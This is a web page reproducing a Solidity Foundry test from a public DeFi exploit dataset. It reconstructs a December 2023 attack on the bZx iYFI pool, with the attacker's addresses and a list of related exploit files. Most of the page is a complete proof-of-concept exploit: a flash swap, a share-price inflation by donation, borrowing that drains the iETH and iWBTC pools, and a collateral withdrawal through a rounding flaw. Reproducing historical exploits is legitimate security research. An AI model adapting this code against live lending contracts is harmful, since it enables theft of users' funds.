Public reproduction file
src/test/2023-12/bZx_exp.sol
Public reproduction file for dataset entry bZxProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$208K8// Attacker : https://etherscan.io/address/0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea59// Attack Contract : https://etherscan.io/address/0x03b7bb750a974e0bd34795013f66b669f4110e5410// Vulnerable Contract : https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b11// Attack Tx 1 : https://app.blocksec.com/explorer/tx/eth/0x0fc5c0d41e5506fdb9434fab4815a4ff671afc834e47a533b3bed7182ece73b012// Attack Tx 2 : https://app.blocksec.com/explorer/tx/eth/0xb072f2e88058c147d8ff643694b43a42e36525b7173ce1daf76e6c06170b0e7714// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b#code17// @Analysis18// Post-mortem :19// Twitter Guy : https://x.com/MetaSec_xyz/status/173081124094208826320// Hacking God :22interface IToken is IERC20 {23 struct LoanOpenData {24 bytes32 loanId;25 uint256 principal;26 uint256 collateral;27 }29 function borrow(30 bytes32 loanId,31 uint256 withdrawAmount,32 uint256 initialLoanDuration,33 uint256 collateralTokenSent,34 address collateralTokenAddress,35 address borrower,36 address receiver,37 bytes memory38 ) external payable returns (LoanOpenData memory);40 function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);42 function mint(address receiver, uint256 depositAmount) external returns (uint256);43}45interface IbZx {46 function withdrawCollateral(47 bytes32 loanId,48 address receiver,49 uint256 withdrawAmount50 ) external returns (uint256 actualWithdrawAmount);51}53contract ContractTest is Test {54 uint256 private constant blocknumToForkFrom = 18_695_728;55 Uni_Pair_V2 private constant YFI_WETH = Uni_Pair_V2(0x088ee5007C98a9677165D78dD2109AE4a3D04d0C);56 // Underlying asset57 IERC20 private constant YFI = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);58 // iToken lending pool59 IToken private constant iYFI = IToken(0x7F3Fe9D492A9a60aEBb06d82cBa23c6F32CAd10b);60 IToken private constant iETH = IToken(0xB983E01458529665007fF7E0CDdeCDB74B967Eb6);61 IToken private constant iWBTC = IToken(0x2ffa85f655752fB2aCB210287c60b9ef335f5b6E);62 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));63 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);64 IbZx private constant bzX = IbZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);65 Uni_Router_V2 private constant SushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);66 Uni_Router_V2 private constant UniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);67 address private constant originalAttackContract = 0x03b7Bb750A974e0BD34795013F66B669f4110e54;68 uint256 private constant iYFIQuantity = 5;70 // Borrow function args71 bytes32 private constant borrowLoanId = bytes32(0);72 uint256 private constant initialLoanDuration = 0;74 function setUp() public {75 vm.createSelectFork("mainnet", blocknumToForkFrom);76 vm.label(address(YFI_WETH), "YFI_WETH");77 vm.label(address(YFI), "YFI");78 vm.label(address(iYFI), "iYFI");79 vm.label(address(iETH), "iETH");80 vm.label(address(iWBTC), "iWBTC");81 vm.label(address(WETH), "WETH");82 vm.label(address(bzX), "bzX");83 vm.label(address(SushiRouter), "SushiRouter");84 vm.label(address(UniRouter), "UniRouter");85 }87 function testExploit() public {88 // In this POC I demonstrate first attack tx89 deal(address(this), 0);90 emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);91 uint256 yfiFlashAmount = YFI.balanceOf(address(YFI_WETH)) / 10;92 // If the data.length is > 0 then pair contract recognizes flashswap instead of typical swap93 bytes memory data = abi.encodePacked(uint8(48));94 YFI_WETH.swap(yfiFlashAmount, 0, address(this), data);96 emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);97 }99 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {100 YFI.approve(address(iYFI), type(uint256).max);101 // Referring to the tx, attack contract shares were burned before deposit/mint operation102 vm.prank(originalAttackContract);103 iYFI.burn(originalAttackContract, iYFIQuantity);105 // At this point iYFI pool is empty106 emit log_named_uint("Total underlying assets in the pool before deposit/mint", YFI.balanceOf(address(iYFI)));107 emit log_named_uint("Total shares before deposit/mint", iYFI.totalSupply());109 // Deposit 5 wei YFI and mint 5 wei iYFI110 iYFI.mint(address(this), iYFIQuantity);112 emit log_named_uint("Total underlying assets in the pool after deposit/mint", YFI.balanceOf(address(iYFI)));113 emit log_named_uint("Total shares after deposit/mint", iYFI.totalSupply());114 emit log_named_uint("Exploiter shares", iYFI.balanceOf(address(this)));116 // Add 5 wei YFI to this contract (these 5 wei YFI exploiter obtained when his shares were burned before)117 // I do this because I want to stick strictly to the values presented in attack tx118 deal(address(YFI), address(this), YFI.balanceOf(address(this)) + iYFIQuantity);119 // Donate all YFI tokens to increase iYFI (shares that exploiter owns) value120 YFI.transfer(address(iYFI), YFI.balanceOf(address(this)));122 // Borrow/steal all ETH from iETH pool123 stealETH();124 // Borrow/steal all WBTC from iWBTC pool125 stealWBTC();126 // Exploiter successfully retrieved his collateral (shares) after borrowing/stealing tokens127 // This is due to rounding issue in bZx contract128 uint256 iYFIAmount = iYFI.balanceOf(address(this));129 // Burn iYFI (5) and retrieve underlying YFI (19363816309062560436)130 uint256 loanAmountPaid = iYFI.burn(address(this), iYFIAmount);132 // Repay flashloan133 uint256 amountOut = (((amount0 * 1000) + 1) / 997) - amount0;134 WETHToYFI(amountOut);135 YFI.transfer(address(YFI_WETH), YFI.balanceOf(address(this)));136 }138 receive() external payable {}140 function borrowToken(IToken iToken, uint256 withdrawAmount) private returns (bytes32 loanId) {141 IToken.LoanOpenData memory loanData = iToken.borrow(142 borrowLoanId,143 withdrawAmount,144 initialLoanDuration,145 iYFIQuantity,146 address(iYFI),147 address(this),148 address(this),149 ""150 );151 loanId = loanData.loanId;152 }154 function withdrawCollateral(155 bytes32 loanID156 ) private {157 bzX.withdrawCollateral(loanID, address(this), iYFIQuantity);158 }160 function WBTCToWETH() private {161 address[] memory path = new address[](2);162 path[0] = address(WBTC);163 path[1] = address(WETH);164 SushiRouter.swapExactTokensForTokens(165 WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100166 );167 }169 function WETHToYFI(170 uint256 amount171 ) private {172 WETH.approve(address(UniRouter), type(uint256).max);173 address[] memory path = new address[](2);174 path[0] = address(WETH);175 path[1] = address(YFI);176 UniRouter.swapTokensForExactTokens(177 amount, WETH.balanceOf(address(this)), path, address(this), block.timestamp + 100178 );179 }181 function stealETH() private {182 iYFI.approve(address(iETH), type(uint256).max);183 bytes32 loanId = borrowToken(iETH, WETH.balanceOf(address(iETH)));184 WETH.deposit{value: address(this).balance}();185 withdrawCollateral(loanId);186 }188 function stealWBTC() private {189 iYFI.approve(address(iWBTC), type(uint256).max);190 WBTC.approve(address(SushiRouter), type(uint256).max);191 bytes32 loanId = borrowToken(iWBTC, WBTC.balanceOf(address(iWBTC)));192 WBTCToWETH();193 withdrawCollateral(loanId);194 }195}Analysis
Dataset entry
Public Foundry test for “bZxProtocol” (2023-12-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5
- Attack Contract
0x03b7bb750a974e0bd34795013f66b669f4110e54
- Vulnerable Contract
0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b
- Attack Tx
0x0fc5c0d41e5506fdb9434fab4815a4ff671afc834e47a533b3bed7182ece73b0
- Attack Tx
0xb072f2e88058c147d8ff643694b43a42e36525b7173ce1daf76e6c06170b0e77
- Twitter: https://x.com/MetaSec_xyz/status/1730811240942088263
- Explorer: https://etherscan.io/address/0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5
- Explorer: https://etherscan.io/address/0x03b7bb750a974e0bd34795013f66b669f4110e54
- Explorer: https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b
- Explorer: https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b#code
File record
- Name
- bZxProtocol
- Path
- src/test/2023-12/bZx_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 92c226575257ab0377e5b8b588f38d221cce34ba
- Language
- Solidity
- Size
- 196 lines
- Date
- 2023-12-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/bZx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 92c226575257ab0377e5b8b588f38d221cce34ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.